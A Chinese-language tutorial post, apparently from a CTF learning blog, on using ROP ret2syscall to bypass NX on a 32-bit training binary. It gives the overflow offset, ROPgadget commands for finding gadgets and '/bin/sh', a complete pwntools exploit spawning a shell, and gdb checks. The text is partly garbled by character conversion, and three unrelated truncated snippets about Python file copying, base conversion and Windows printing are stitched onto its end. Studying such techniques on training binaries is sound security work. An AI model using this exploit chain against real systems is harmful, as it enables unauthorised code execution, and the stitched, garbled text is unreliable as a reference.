利用ROP Ret2Syscall突破NX保護

2021-10-22 16:18:33 字數 3197 閱讀 9994

利用rop-ret2syscall突破nx保護

ret2text依賴的是系統中有system函式,但是有的程式裡面沒有system,並且有的程式開啟了nx保護,這是就不能使用ret2shellcode自定義shellcode**,因此,我們就要用ret2syscall幫忙實現。

gadgets

是指在程式中的指令片段,有時我們為了達到我們執行命令的目的,我們需要用到多個gadgets來完成我們的功能。gadgets最後一班都有ret,因為要將程式控制權交給下乙個gadget。

利用rop-ret2syscall突破nx保護,拼湊shellcode;

使用ropgadget小工具,查詢程式中的小片段

分析程式,先檢視程式的保護機制,—開啟nx保護

gdb除錯,disass檢視main函式反彙編

計算偏移

0x62616164位置出錯

cyclic –l 0x62616164,計算偏移

得到偏移為112

開始寫exp

利用gadgets組織拼湊shellcode

明確目標(我們要組合的shellcode)

系統呼叫號,即 eax 應該為 0xb

第乙個引數,即 ebx 應該指向 /bin/sh 的位址,其實執行 sh 的位址也可以。

第二個引數,即 ecx 應該為 0

第三個引數,即 edx 應該為 0

接下來我們就要一點點的去拼湊這些內容,我們沒法直接在棧裡寫指令,只能夠利用程式中自帶的指令去拼湊。

將eax設定為0xb,我們是沒法直接往棧裡寫mov eax,0xb的,那麼還有另一種方式是pop eax,但是要保證棧頂必須是0xb。然後設定ebx,ecx,edx,同樣是這樣的道理,所以我們可以想象棧中的資料是:

pop eax;ret

0xbpop ebx;pop ecx;pop edx;ret

"/bin/sh"的位址00

int 0x80的位址

這樣我們就可以保證eax,ebx,ecx,edx的值了。所以接下來我們要在程式中找一下有沒有pop eax;和pop ebx;pop ecx;pop edx;的指令。

使用命令查詢有pop eax ret 的片段,命令如下: ropgadget --binary ./ret2syscall --only 「pop|ret」 | grep 「eax」

查詢pop ebx;pop ecx;pop edx;ret片段命令如下:

找出來的**段的順序和我們需要的不一樣,但是我們可以在payload中進行操作

查詢bin/sh引數,命令如下:ropgadget --binary ./ret2syscall --string 「/bin/sh」

7. 查詢int 0x80**段命令如下:ropgadget --binary ./ret2syscall --only 「int」

exp為

from pwn import

*context(arch =

"i386"

,os =

"linux"

)p=process(

"./ret2syscall"

)offset =

112pop_eax =p32(

0x080bb196

)pop_edx_ecx_ebx = p32(

0x0806eb90

)bin_sh = p32(

0x080be408

)int_0x80 = p32(

0x08049421

)payload =

"a"*offset +pop_eax +p32(

0xb)

"""eax中需要的引數"""

+ pop_edx_ecx_ebx + p32(0)

'''edx需要的引數'''

+p32(0)

'''ecx需要的引數'''

+ bin_sh"""ebx需要的引數binsh"""

+ int_0x80 '''三個出棧操作的引數意義對應'''

p.sendline(payload)

p.interactive(

)

程式除錯驗證:

在除錯之前在p.sendline(payload)之前加乙個pause()函式,為了讓exp執行到這裡時停下來並且輸出pid為35635

然後另外開乙個終端,輸入gdb attch 7168,執行,斷在程式gets函式之前

然後使用finish命令返回父呼叫,也就是返回上一級函式呼叫;這時候會讓我們輸入,然後在另乙個頁面回車傳送資料

傳送完資料過後,在除錯頁面就能夠收到shellcode資料了

我們利用finish返回到gets函式

再返回到main函式檢視棧資料

發現我們的shellcode函式已經進入棧中,程式執行成功;

利用Python做工具 2

前面用python做了中文提取工具,現在再做乙個複製檔案的小工具,比較記錄如下 需求描述 要求再乙個固定的資料夾下不斷的生成一些固定檔名的檔案,供主程式去操作,給主程式進行壓力測試。需求解析 最簡單的就是把乙個源資料夾 srcfile 中的不斷的移動到目標資料夾 dstfile 解決方案 為了盡可能...

數制轉換2(利用棧)

題目 數制轉換 通過棧這個資料結構來求解 內容 輸入m進製的數x,輸出n進製的數。作答者 小白楊 收穫 1 棧這種資料結構,只允許在棧頂進行出棧入棧操作。2 先構造出棧的基本結構,然後初始化乙個棧 再勾勒出入棧和出棧的函式 再輸入m進製的數x,轉換為int型入棧 再出棧的同時將m進製的數轉換為十進位...

利用CPrintDialog列印檔案 (2)

列印基本流程 有了前面的知識,現在我們就可以列印了。windows列印是有著固定的流程的,流程也比較簡單。按照固定的順序呼叫列印api即可 startdoc startpage 列印具體內容 endpage enddoc 如果要列印多頁,迴圈startpage 至endpage 即可。示例 doci...